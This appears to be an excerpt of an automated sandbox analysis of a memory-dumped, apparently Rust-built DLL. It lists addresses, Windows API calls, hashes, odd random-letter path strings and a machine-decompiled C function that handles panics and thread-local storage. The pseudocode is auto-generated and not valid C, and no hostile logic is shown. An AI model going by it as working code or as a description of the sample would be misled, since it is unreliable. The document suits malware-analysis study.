0x6e7aceed
0x6e7acef5
0x6e7acef8
0x6e7acefb
0x6e7acefb
0x6e7acefb
0x6e7acac1
0x6e7acac1
0x6e7acac7
0x6e7acaca
0x6e7acaca
0x6e7acad0
0x6e7acad3
0x6e7acad5
0x6e7acae3
0x6e7acae3
0x6e7acae5
0x6e7acbcd
0x6e7acbd0
0x6e7acbde
0x6e7acbe0
0x00000000
0x00000000
0x6e7acbe6
0x6e7acbe9
0x6e7acbeb
0x00000000
0x6e7acbeb
0x6e7acaeb
0x6e7acaee
0x6e7acaf0
0x00000000
0x6e7acaf0
0x6e7acec0
0x6e7acec2
0x00000000
0x6e7acec2
0x6e7ace14
0x6e7ace17
0x00000000
0x00000000
0x6e7ace1d
0x6e7ace20
0x00000000
0x00000000
0x6e7ace26
0x6e7ace28
0x00000000
0x6e7ace28
0x6e7acdd8
0x6e7acddd
0x6e7acddf
0x00000000
0x00000000
0x6e7acde1
0x00000000
0x6e7acc15
0x6e7acc15
0x6e7acc17
0x6e7acc1a
0x6e7ace62
0x6e7ace62
0x6e7ace65
0x6e7ace68
0x6e7ace68
0x6e7ace6b
0x6e7ace71
0x6e7ace78
0x6e7ace7f
0x6e7ace85
0x6e7ace87
0x6e7ace8d
0x6e7ace90
0x6e7ace96
0x6e7ace96
0x6e7ace90
0x6e7ace87
0x00000000
0x6e7ace7f
0x6e7acc20
0x6e7acc27
0x6e7acc2e
0x6e7acc2e
0x00000000
0x6e7acc2e
0x6e7acb1c
0x6e7acb1f
0x6e7acb21
0x00000000
0x00000000
0x6e7acb27
0x6e7acb2a
0x6e7acb2d
0x6e7acdb6
0x6e7acdbb
0x00000000
0x6e7acdbb
0x6e7acb33
0x6e7acb39
0x6e7acb3e
0x6e7acb40
0x6e7acb43
0x6e7acb4a
0x6e7acb4f
0x6e7acb52
0x6e7acb54
0x6e7acb57
0x6e7acb59
0x6e7acb5b
0x6e7acb5e
0x6e7acb60
0x6e7acb63
0x6e7acb63
0x6e7acb5e
0x6e7acb68
0x6e7acb68
0x6e7acb6b
0x6e7acb6e
0x6e7acaaf
0x6e7acaaf
0x6e7acab1
0x00000000
0x6e7acb74
0x6e7acb74
0x6e7acb78
0x6e7acb7b
0x6e7acb7e
0x6e7acea0
0x6e7acea6
0x6e7acea8
0x6e7aceab
0x6e7ad062
0x6e7ad062
0x6e7ad067
0x6e7ad068
0x6e7ad068
0x6e7acc30
0x6e7acc37
0x6e7acc3e
0x6e7acc45
0x6e7acc4c
0x6e7acc50
0x6e7acc57
0x6e7acc5e
0x6e7acc65
0x6e7acc6d
0x6e7acc70
0x6e7acc76
0x6e7acc79
0x6e7acc7f
0x6e7acc85
0x6e7acc8c
0x6e7acc95
0x6e7acc9c
0x6e7acca2
0x6e7acca9
0x6e7accac
0x6e7accba
0x6e7accc1
0x6e7accc9
0x6e7acccc
0x6e7accce
0x6e7accd1
0x6e7accd4
0x6e7accdb
0x6e7accdd
0x6e7acce3
0x6e7acce5
0x6e7acce5
0x6e7accf1
0x6e7accf1
0x6e7accff
0x6e7accff
0x6e7acd04
0x6e7acd15
0x6e7acd1a
0x6e7acf0b
0x6e7acf1a
0x6e7acf21
0x6e7acf28
0x6e7acf32
0x6e7acf35
0x6e7acf3c
0x6e7acf43
0x6e7acf49
0x6e7acf50
0x6e7acf53
0x6e7acf5a
0x6e7acf5f
0x6e7acf68
0x6e7acf6e
0x6e7acf71
0x00000000
0x00000000
0x6e7acf78
0x6e7acf80
0x6e7acf83
0x6e7acf85
0x00000000
0x6e7acd20
0x6e7acd23
0x6e7acfc0
0x6e7acfc3
0x6e7acfc5
0x6e7acfc7
0x6e7acfca
0x6e7acfcf
0x6e7acfcf
0x6e7acfca
0x6e7acfd7
0x6e7acfdd
0x6e7acfe3
0x6e7acfe5
0x6e7acfe7
0x6e7acfea
0x6e7acfef
0x6e7acfef
0x6e7acfea
0x6e7acff9
0x6e7acfff
0x6e7ad003
0x6e7ad00a
0x6e7ad012
0x6e7ad019
0x6e7ad020
0x6e7ad027
0x6e7ad02e
0x6e7ad032
0x6e7ad039
0x6e7ad040
0x6e7ad048
0x6e7ad04b
0x6e7ad04e
0x6e7ad053
0x6e7ad055
0x6e7ad055
0x6e7ad057
0x6e7ad05b
0x6e7ad060
0x00000000
0x6e7ad060
0x6e7acd2b
0x6e7acd31
0x6e7acd33
0x00000000
0x00000000
0x6e7acd3c
0x6e7acd3f
0x6e7acd46
0x6e7acd4d
0x6e7acd54
0x6e7acd5b
0x6e7acd62
0x6e7acd70
0x00000000
0x00000000
0x6e7acd7b
0x6e7acd7e
0x6e7acd86
0x6e7acd88
0x6e7acf88
0x6e7acf8b
0x6e7acf92
0x6e7acf9b
0x6e7acf9d
0x6e7acf9f
0x6e7acf9f
0x6e7acfab
0x6e7acfab
0x6e7acfbb
0x00000000
0x6e7acfbb
0x6e7acd1a
0x6e7aceb1
0x00000000
0x6e7aceb1
0x6e7acb84
0x00000000
0x6e7acb84
0x6e7acb6e
0x6e7acb16
0x6e7ac97f

APIs

Part of subcall function 6E7AD1B0: TlsGetValue.KERNEL32(00000000,00000001,6E7AC906), ref: 6E7AD1BB
Part of subcall function 6E7AD1B0: TlsGetValue.KERNEL32(00000000), ref: 6E7AD1F3

AcquireSRWLockShared.KERNEL32(6E7FADBC), ref: 6E7AC945
HeapFree.KERNEL32(00000000,00000000), ref: 6E7ACA9C
HeapFree.KERNEL32(00000000,?), ref: 6E7ACAAA
TlsGetValue.KERNEL32(00000000), ref: 6E7ACB0D
TlsGetValue.KERNEL32(00000000), ref: 6E7ACC07
HeapFree.KERNEL32(00000000,00000000), ref: 6E7ACCF1
HeapFree.KERNEL32(00000000,?), ref: 6E7ACCFF
GetProcessHeap.KERNEL32 ref: 6E7ACDD8
HeapAlloc.KERNEL32(011E0000,00000000,00000010), ref: 6E7ACDEB
TlsSetValue.KERNEL32(00000000,00000000,011E0000,00000000,00000010), ref: 6E7ACE5C
HeapFree.KERNEL32(00000000,00000000,011E0000,00000000,00000010), ref: 6E7ACEDD

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6E7ACDC0
Y3{n, xrefs: 6E7AC8C5
full, xrefs: 6E7ACEB8
cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf, xrefs: 6E7AC90D, 6E7AC988
already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl, xrefs: 6E7ACDA1

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeValue$AcquireAllocLockProcessShared
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $Y3{n$already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl$cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf$full
API String ID: 2275035175-127267255
Opcode ID: 6a69056e5c209edba839da725b29b17e364e573935862114fd87badb7f88e9e1
Instruction ID: 010c3cf89713f7671d989d48d2089c7a1c5e8f7d8b9e34c80737bdc1749ccf1a
Opcode Fuzzy Hash: 6a69056e5c209edba839da725b29b17e364e573935862114fd87badb7f88e9e1
Instruction Fuzzy Hash: 4A128970A04209EFEB10CFE8CA5479EBBB9FF45305F108629DA15AB3A0D775A941CF84

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC890, Relevance: 26.7, APIs: 12, Strings: 3, Instructions: 409
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6E7AC890(long _a4, signed int _a8) {
				intOrPtr _v4;
				void* _v20;
				void _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t193;
				void* _t197;
				void _t198;
				intOrPtr* _t199;
				signed int _t200;
				signed int _t202;
				char* _t204;
				long _t205;
				long _t206;
				void* _t207;
				void* _t208;
				long _t209;
				void _t212;
				void _t213;
				void* _t222;
				void* _t225;
				long _t229;
				void* _t238;
				void* _t248;
				void* _t250;
				void* _t251;
				char** _t254;
				char** _t255;
				void* _t259;
				void* _t263;
				void _t268;
				char _t269;
				signed char _t271;
				void* _t274;
				void _t275;
				intOrPtr _t278;
				void* _t280;
				char* _t281;
				void _t282;
				void* _t285;
				intOrPtr _t296;
				intOrPtr _t300;
				void _t303;
				long _t307;
				intOrPtr _t312;
				void* _t314;
				void* _t315;
				signed int _t316;
				signed int _t318;
				void* _t324;
				intOrPtr* _t330;
				long _t332;
				void* _t333;
				void* _t337;
				void* _t338;
				void* _t340;
				void* _t341;
				void* _t342;
				void* _t343;
				void _t346;
				void* _t347;
				void* _t348;
				void* _t359;
				void* _t372;
				long _t373;

				 *_t346 = _t274;
				_v4 = _t312;
				_t275 = _t346;
				_push(_a4);
				_push(0);
				L1();
				_t347 = _t346 + 8;
				asm("ud2");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t348 = _t347 - 0x88;
				_v40 = _t348;
				_v28 = 0xffffffff;
				_v32 = E6E7B3B50;
				_t268 = _t275;
				_t340 = 1;
				_t337 = 0x6e7ed9cc;
				_v36 =  *[fs:0x0];
				 *[fs:0x0] =  &_v36;
				asm("lock xadd [0x6e7fadc0], esi");
				_t193 = E6E7AD1B0(_t268, 0x6e7ed9cc);
				_t349 = _t193;
				if(_t193 == 0) {
					_t193 = E6E7C6EE0(_t268,  &M6E7ED0E7, 0x46, _t349,  &_v68, 0x6e7ed060, 0x6e7ed1ac);
					_t348 = _t348 + 0xc;
					asm("ud2");
				}
				_t314 = _a8;
				_t278 =  *_t193 + 1;
				 *_t193 = _t278;
				if(_t340 < 0 || _t278 >= 3) {
					__eflags = _t278 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6e7ecd60;
						_v120 = 0x6e7ed014;
						_v68 = 0x6e7eda50;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t314;
						_t315 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6E7A2640;
						_v52 =  &_v80;
						_v48 = 1;
						_t197 = E6E7AD2A0( &_v100, __eflags);
						__eflags = _t197 - 3;
						if(_t197 == 3) {
							_v20 = 0;
							_v36 = _t315;
							 *((intOrPtr*)( *((intOrPtr*)(_t315 + 4))))( *_t315);
							_t348 = _t348 + 4;
							L12:
							_t340 = _v36;
							_t307 =  *(_t340 + 4);
							__eflags =  *(4 + _t307);
							if( *(4 + _t307) != 0) {
								HeapFree( *0x6e7fadc8, 0, _t259);
							}
							_t197 = HeapFree( *0x6e7fadc8, 0, _t340);
						}
						goto L17;
					}
					_t333 =  &_v68;
					_v68 = 0x6e7eda14;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6e7ecd60;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t197 = E6E7AD2A0( &_v124, __eflags);
					__eflags = _t197 - 3;
					if(_t197 != 3) {
						goto L17;
					} else {
						_v20 = 1;
						_v36 = _t333;
						 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
						_t348 = _t348 + 4;
						goto L12;
					}
				} else {
					_v132 = _t278;
					__imp__AcquireSRWLockShared(0x6e7fadbc);
					_v144 = 0x6e7fadbc;
					_v20 = 2;
					_v136 = _t268;
					_v140 = _t337;
					_t263 =  *((intOrPtr*)(_t337 + 0x10))(_t268);
					_t348 = _t348 + 4;
					_v36 = _t263;
					_v40 = _t314;
					_t197 = E6E7AD1B0(_t268, _t337);
					_t337 = _v40;
					_t352 = _t197;
					if(_t197 != 0) {
						L18:
						__eflags =  *_t197 - 1;
						_t280 = 1;
						if( *_t197 <= 1) {
							_t198 =  *0x6e7fadb0; // 0x0
							_t316 = _a8;
							__eflags = _t198 - 2;
							if(_t198 == 2) {
								_t280 = 0;
								goto L20;
							}
							__eflags = _t198 - 1;
							if(_t198 == 1) {
								_t280 = 4;
								goto L20;
							}
							__eflags = _t198;
							if(_t198 != 0) {
								goto L20;
							}
							E6E7AD530(_t268,  &_v68, _t337, _t340);
							_t337 = _v40;
							_t251 = _v68;
							__eflags = _t251;
							if(_t251 != 0) {
								goto L69;
							}
							_t271 = 5;
							goto L87;
						}
						_t316 = _a8;
						goto L20;
					} else {
						E6E7C6EE0(_t268,  &M6E7ED0E7, 0x46, _t352,  &_v68, 0x6e7ed060, 0x6e7ed1ac);
						_t348 = _t348 + 0xc;
						L62:
						asm("ud2");
						L63:
						_t281 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t204 = 0xc;
						L22:
						_v100 = _t281;
						_v96 = _t204;
						_t205 =  *0x6e7fa044; // 0x0
						if(_t205 == 0) {
							_t285 = 0x6e7fa044;
							_t205 = E6E7B2B10(_t268, 0x6e7fa044, _t337, _t340);
						}
						_t197 = TlsGetValue(_t205);
						if(_t197 <= 1) {
							L43:
							_t206 =  *0x6e7fa044; // 0x0
							__eflags = _t206;
							if(_t206 == 0) {
								_t285 = 0x6e7fa044;
								_t206 = E6E7B2B10(_t268, 0x6e7fa044, _t337, _t340);
							}
							_t197 = TlsGetValue(_t206);
							__eflags = _t197;
							if(_t197 == 0) {
								_t207 =  *0x6e7fadc8; // 0x11e0000
								__eflags = _t207;
								if(_t207 != 0) {
									L67:
									_t208 = HeapAlloc(_t207, 0, 0x10);
									__eflags = _t208;
									if(__eflags != 0) {
										 *_t208 = 0;
										 *(_t208 + 0xc) = 0x6e7fa044;
										_t340 = _t208;
										_t209 =  *0x6e7fa044; // 0x0
										__eflags = _t209;
										if(_t209 == 0) {
											_v36 = _t340;
											_t209 = E6E7B2B10(_t268, 0x6e7fa044, _t337, _t340);
											_t340 = _v36;
										}
										_t197 = TlsSetValue(_t209, _t340);
										goto L76;
									}
									L68:
									_t251 = E6E7C6C30(_t268, 0x10, 4, _t337, _t340, __eflags);
									asm("ud2");
									L69:
									_t332 = _v60;
									_t303 = _v64;
									__eflags = _t332 - 4;
									if(_t332 == 4) {
										__eflags =  *_t251 - 0x6c6c7566;
										if( *_t251 != 0x6c6c7566) {
											L84:
											_t340 = 2;
											_t271 = 0;
											__eflags = 0;
											L85:
											__eflags = _t303;
											if(_t303 != 0) {
												HeapFree( *0x6e7fadc8, 0, _t251);
											}
											L87:
											__eflags = _t271 - 5;
											_t316 = _a8;
											_t273 =  !=  ? _t340 : 1;
											_t280 =  !=  ? _t271 & 0x000000ff : 4;
											_t144 =  !=  ? _t340 : 1;
											_t268 =  *0x6e7fadb0;
											 *0x6e7fadb0 =  !=  ? _t340 : 1;
											L20:
											_v148 = _t316;
											_v128 = _t280;
											_t61 = _t337 + 0xc; // 0x6e7b3440
											_t199 =  *_t61;
											_v40 = _t199;
											_t200 =  *_t199(_v36);
											_t348 = _t348 + 4;
											_t318 = _t316 ^ 0x7ef2a91e | _t200 ^ 0xecc7bcf4;
											__eflags = _t318;
											if(__eflags != 0) {
												_t202 = _v40(_v36);
												_t348 = _t348 + 4;
												__eflags = _t318 ^ 0xe43a67d8 | _t202 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L63;
												}
												_t254 = _v36;
												_t281 =  *_t254;
												_t204 = _t254[2];
												goto L22;
											}
											_t255 = _v36;
											_t281 =  *_t255;
											_t204 = _t255[1];
											goto L22;
										}
										_t271 = 1;
										_t340 = 3;
										goto L85;
									}
									__eflags = _t332 - 1;
									if(_t332 != 1) {
										goto L84;
									}
									__eflags =  *_t251 - 0x30;
									if( *_t251 != 0x30) {
										goto L84;
									}
									_t271 = 4;
									_t340 = 1;
									goto L85;
								}
								_t207 = GetProcessHeap();
								__eflags = _t207;
								if(__eflags == 0) {
									goto L68;
								}
								 *0x6e7fadc8 = _t207;
								goto L67;
							} else {
								_t340 = _t197;
								__eflags = _t197 - 1;
								if(_t197 != 1) {
									L76:
									_t282 =  *(_t340 + 8);
									__eflags =  *_t340;
									_t138 = _t340 + 4; // 0x4
									_t337 = _t138;
									 *_t340 = 1;
									 *(_t340 + 4) = 0;
									 *(_t340 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t282;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t197 = E6E7AC800(_t282);
											}
										}
									}
									goto L27;
								}
								_v84 = 0;
								_v36 = 0;
								_t213 = 0;
								__eflags = 0;
								goto L48;
							}
						} else {
							_t337 = _t197;
							if( *_t197 != 1) {
								goto L43;
							}
							_t337 = _t337 + 4;
							L27:
							if( *_t337 != 0) {
								E6E7C6EE0(_t268, "already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl", 0x10, __eflags,  &_v68, 0x6e7ed050, 0x6e7ed720);
								_t348 = _t348 + 0xc;
								goto L62;
							}
							 *_t337 = 0xffffffff;
							_t340 =  *(_t337 + 4);
							if(_t340 == 0) {
								_v36 = _t337;
								_v20 = 8;
								_t250 = E6E7AC690(_t268, _t337, _t340);
								_t337 = _v36;
								_t340 = _t250;
								_t197 =  *(_t337 + 4);
								_t359 = _t197;
								if(_t359 != 0) {
									asm("lock dec dword [eax]");
									if(_t359 == 0) {
										_t285 =  *(_t337 + 4);
										_t197 = E6E7AC800(_t285);
									}
								}
								 *(_t337 + 4) = _t340;
							}
							asm("lock inc dword [esi]");
							if(_t359 <= 0) {
								L17:
								asm("ud2");
								asm("ud2");
								goto L18;
							} else {
								 *_t337 =  *_t337 + 1;
								_v84 = _t340;
								_v36 = _t340;
								if(_t340 != 0) {
									_t212 =  *(_t340 + 0x10);
									__eflags = _t212;
									_t285 =  ==  ? _t212 : _t340 + 0x10;
									if(__eflags != 0) {
										L104:
										_t213 =  *_t285;
										_t285 =  *((intOrPtr*)(_t285 + 4)) - 1;
										L105:
										_v20 = 3;
										L48:
										_v124 = 0x6e7ed8fc;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t323 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t215 =  !=  ? _t285 : 9;
										_v80 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t324 =  &_v124;
										_v76 =  !=  ? _t285 : 9;
										_v68 =  &_v80;
										_v64 = 0x6e7ade50;
										_v60 =  &_v100;
										_v56 = 0x6e7ade50;
										_v52 =  &_v148;
										_v48 = E6E7ADE70;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6E7AD2A0( &_v92, _t213) == 3) {
											_v20 = 7;
											_v40 = _t324;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t348 = _t348 + 4;
											_t343 = _v40;
											_t300 =  *((intOrPtr*)(_t343 + 4));
											if( *((intOrPtr*)(_t300 + 4)) != 0) {
												_t248 =  *_t343;
												if( *((intOrPtr*)(_t300 + 8)) >= 9) {
													_t248 =  *(_t248 - 4);
												}
												HeapFree( *0x6e7fadc8, 0, _t248);
											}
											HeapFree( *0x6e7fadc8, 0, _t343);
										}
										_t269 = _v128;
										_t222 =  <  ? (_t269 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t222 == 0) {
											__imp__AcquireSRWLockExclusive(0x6e7fadac);
											_v68 = 0x6e7ed2c0;
											_v64 = 1;
											_v152 = 0x6e7fadac;
											_v41 = _t269;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6E7ADEE0;
											_v52 =  &_v124;
											_v48 = 1;
											_t225 = E6E7AD2A0( &_v92, __eflags);
											_t341 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6e7fadac);
											__eflags = _t225 - 3;
											if(__eflags != 0) {
												goto L95;
											}
											_v20 = 5;
											_v40 = _t341;
											 *((intOrPtr*)( *((intOrPtr*)(_t341 + 4))))( *_t341);
											_t348 = _t348 + 4;
											goto L90;
										} else {
											if(_t222 == 1) {
												L95:
												_t372 = _v36;
												if(_t372 != 0) {
													asm("lock dec dword [eax]");
													if(_t372 == 0) {
														E6E7AC800(_v84);
													}
												}
												_t342 = _v140;
												_t338 = _v136;
												_t373 = _v72;
												if(_t373 != 0) {
													asm("lock dec dword [eax]");
													if(_t373 == 0) {
														E6E7ADC20(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6e7fadbc);
												_t374 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6e7eda8c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6e7ecd60;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t229 = E6E7AD2A0( &_v80, _t374);
													_v120 =  &_v68;
													_v124 = _t229;
													E6E7AD460( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t285 = _t338;
												E6E7AD440(_t285, _t342, _t374);
												asm("ud2");
												goto L104;
											}
											 *0x6e7fa040 = 0;
											_t368 =  *0x6e7fa040;
											if( *0x6e7fa040 == 0) {
												goto L95;
											}
											_t330 =  &_v68;
											_v68 = 0x6e7ed96c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6e7ecd60;
											_v48 = 0;
											_v20 = 3;
											if(E6E7AD2A0( &_v92, _t368) != 3) {
												goto L95;
											}
											_v40 = _t330;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t330 + 4))))( *_t330);
											_t348 = _t348 + 4;
											L90:
											_t296 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t296 + 4)) != 0) {
												_t238 =  *_v40;
												if( *((intOrPtr*)(_t296 + 8)) >= 9) {
													_t238 =  *(_t238 - 4);
												}
												HeapFree( *0x6e7fadc8, 0, _t238);
											}
											HeapFree( *0x6e7fadc8, 0, _v40);
											goto L95;
										}
									}
									_t213 = 0;
									goto L105;
								}
								_t213 = 0;
								goto L48;
							}
						}
					}
				}
			}

0x6e7ac897
0x6e7ac89a
0x6e7ac89e
0x6e7ac8a5
0x6e7ac8a6
0x6e7ac8a8
0x6e7ac8ad
0x6e7ac8b0
0x6e7ac8b2
0x6e7ac8b3
0x6e7ac8b4
0x6e7ac8b5
0x6e7ac8b6
0x6e7ac8b7
0x6e7ac8b8
0x6e7ac8b9
0x6e7ac8ba
0x6e7ac8bb
0x6e7ac8bc
0x6e7ac8bd
0x6e7ac8be
0x6e7ac8bf
0x6e7ac8c6
0x6e7ac8cc
0x6e7ac8cf
0x6e7ac8d6
0x6e7ac8dd
0x6e7ac8e2
0x6e7ac8e7
0x6e7ac8f0
0x6e7ac8f3
0x6e7ac8f9
0x6e7ac901
0x6e7ac906
0x6e7ac908
0x6e7ac922
0x6e7ac927
0x6e7ac92a
0x6e7ac92a
0x6e7ac92e
0x6e7ac931
0x6e7ac934
0x6e7ac936
0x6e7ac9aa
0x6e7ac9ad
0x6e7aca0a
0x6e7aca11
0x6e7aca1b
0x6e7aca22
0x6e7aca29
0x6e7aca2d
0x6e7aca34
0x6e7aca3b
0x6e7aca41
0x6e7aca44
0x6e7aca47
0x6e7aca4d
0x6e7aca54
0x6e7aca57
0x6e7aca5e
0x6e7aca63
0x6e7aca65
0x6e7aca6c
0x6e7aca74
0x6e7aca77
0x6e7aca79
0x6e7aca7c
0x6e7aca7c
0x6e7aca7f
0x6e7aca82
0x6e7aca86
0x6e7aca9c
0x6e7aca9c
0x6e7acaaa
0x6e7acaaa
0x00000000
0x6e7aca65
0x6e7ac9b2
0x6e7ac9b5
0x6e7ac9bc
0x6e7ac9c3
0x6e7ac9ca
0x6e7ac9d1
0x6e7ac9d5
0x6e7ac9dc
0x6e7ac9e3
0x6e7ac9e8
0x6e7ac9ea
0x00000000
0x6e7ac9f0
0x6e7ac9f5
0x6e7ac9fd
0x6e7aca00
0x6e7aca02
0x00000000
0x6e7aca02
0x6e7ac93d
0x6e7ac93d
0x6e7ac945
0x6e7ac94b
0x6e7ac955
0x6e7ac95c
0x6e7ac963
0x6e7ac969
0x6e7ac96c
0x6e7ac96f
0x6e7ac972
0x6e7ac975
0x6e7ac97a
0x6e7ac97d
0x6e7ac97f
0x6e7acab3
0x6e7acab3
0x6e7acab6
0x6e7acab8
0x6e7acb8b
0x6e7acb90
0x6e7acb93
0x6e7acb96
0x6e7acd97
0x00000000
0x6e7acd97
0x6e7acb9c
0x6e7acb9f
0x6e7acd90
0x00000000
0x6e7acd90
0x6e7acba5
0x6e7acba7
0x00000000
0x00000000
0x6e7acbb0
0x6e7acbb5
0x6e7acbb8
0x6e7acbbb
0x6e7acbbd
0x00000000
0x00000000
0x6e7acbc3
0x00000000
0x6e7acbc3
0x6e7acabe
0x00000000
0x6e7ac985
0x6e7ac99d
0x6e7ac9a2
0x6e7acdbe
0x6e7acdbe
0x6e7acdc0
0x6e7acdc0
0x6e7acdc5
0x6e7acaf3
0x6e7acaf3
0x6e7acaf6
0x6e7acaf9
0x6e7acb00
0x6e7acb02
0x6e7acb07
0x6e7acb07
0x6e7acb0d
0x6e7acb16
0x6e7acbf3
0x6e7acbf3
0x6e7acbf8
0x6e7acbfa
0x6e7acbfc
0x6e7acc01
0x6e7acc01
0x6e7acc07
0x6e7acc0d
0x6e7acc0f
0x6e7acdcf
0x6e7acdd4
0x6e7acdd6
0x6e7acde6
0x6e7acdeb
0x6e7acdf0
0x6e7acdf2
0x6e7ace32
0x6e7ace38
0x6e7ace3f
0x6e7ace41
0x6e7ace46
0x6e7ace48
0x6e7ace4f
0x6e7ace52
0x6e7ace57
0x6e7ace57
0x6e7ace5c
0x00000000
0x6e7ace5c
0x6e7acdf4
0x6e7acdfe
0x6e7ace03
0x6e7ace05
0x6e7ace05
0x6e7ace08
0x6e7ace0b
0x6e7ace0e
0x6e7aceb8
0x6e7acebe
0x6e7acec9
0x6e7acec9
0x6e7acece
0x6e7acece
0x6e7aced0
0x6e7aced0
0x6e7aced2
0x6e7acedd
0x6e7acedd
0x6e7acee2
0x6e7acee2
0x6e7aceed
0x6e7acef5
0x6e7acef8
0x6e7acefb
0x6e7acefb
0x6e7acefb
0x6e7acac1
0x6e7acac1
0x6e7acac7
0x6e7acaca
0x6e7acaca
0x6e7acad0
0x6e7acad3
0x6e7acad5
0x6e7acae3
0x6e7acae3
0x6e7acae5
0x6e7acbcd
0x6e7acbd0
0x6e7acbde
0x6e7acbe0
0x00000000
0x00000000
0x6e7acbe6
0x6e7acbe9
0x6e7acbeb
0x00000000
0x6e7acbeb
0x6e7acaeb
0x6e7acaee
0x6e7acaf0
0x00000000
0x6e7acaf0
0x6e7acec0
0x6e7acec2
0x00000000
0x6e7acec2
0x6e7ace14
0x6e7ace17
0x00000000
0x00000000
0x6e7ace1d
0x6e7ace20
0x00000000
0x00000000
0x6e7ace26
0x6e7ace28
0x00000000
0x6e7ace28
0x6e7acdd8
0x6e7acddd
0x6e7acddf
0x00000000
0x00000000
0x6e7acde1
0x00000000
0x6e7acc15
0x6e7acc15
0x6e7acc17
0x6e7acc1a
0x6e7ace62
0x6e7ace62
0x6e7ace65
0x6e7ace68
0x6e7ace68
0x6e7ace6b
0x6e7ace71
0x6e7ace78
0x6e7ace7f
0x6e7ace85
0x6e7ace87
0x6e7ace8d
0x6e7ace90
0x6e7ace96
0x6e7ace96
0x6e7ace90
0x6e7ace87
0x00000000
0x6e7ace7f
0x6e7acc20
0x6e7acc27
0x6e7acc2e
0x6e7acc2e
0x00000000
0x6e7acc2e
0x6e7acb1c
0x6e7acb1f
0x6e7acb21
0x00000000
0x00000000
0x6e7acb27
0x6e7acb2a
0x6e7acb2d
0x6e7acdb6
0x6e7acdbb
0x00000000
0x6e7acdbb
0x6e7acb33
0x6e7acb39
0x6e7acb3e
0x6e7acb40
0x6e7acb43
0x6e7acb4a
0x6e7acb4f
0x6e7acb52
0x6e7acb54
0x6e7acb57
0x6e7acb59
0x6e7acb5b
0x6e7acb5e
0x6e7acb60
0x6e7acb63
0x6e7acb63
0x6e7acb5e
0x6e7acb68
0x6e7acb68
0x6e7acb6b
0x6e7acb6e
0x6e7acaaf
0x6e7acaaf
0x6e7acab1
0x00000000
0x6e7acb74
0x6e7acb74
0x6e7acb78
0x6e7acb7b
0x6e7acb7e
0x6e7acea0
0x6e7acea6
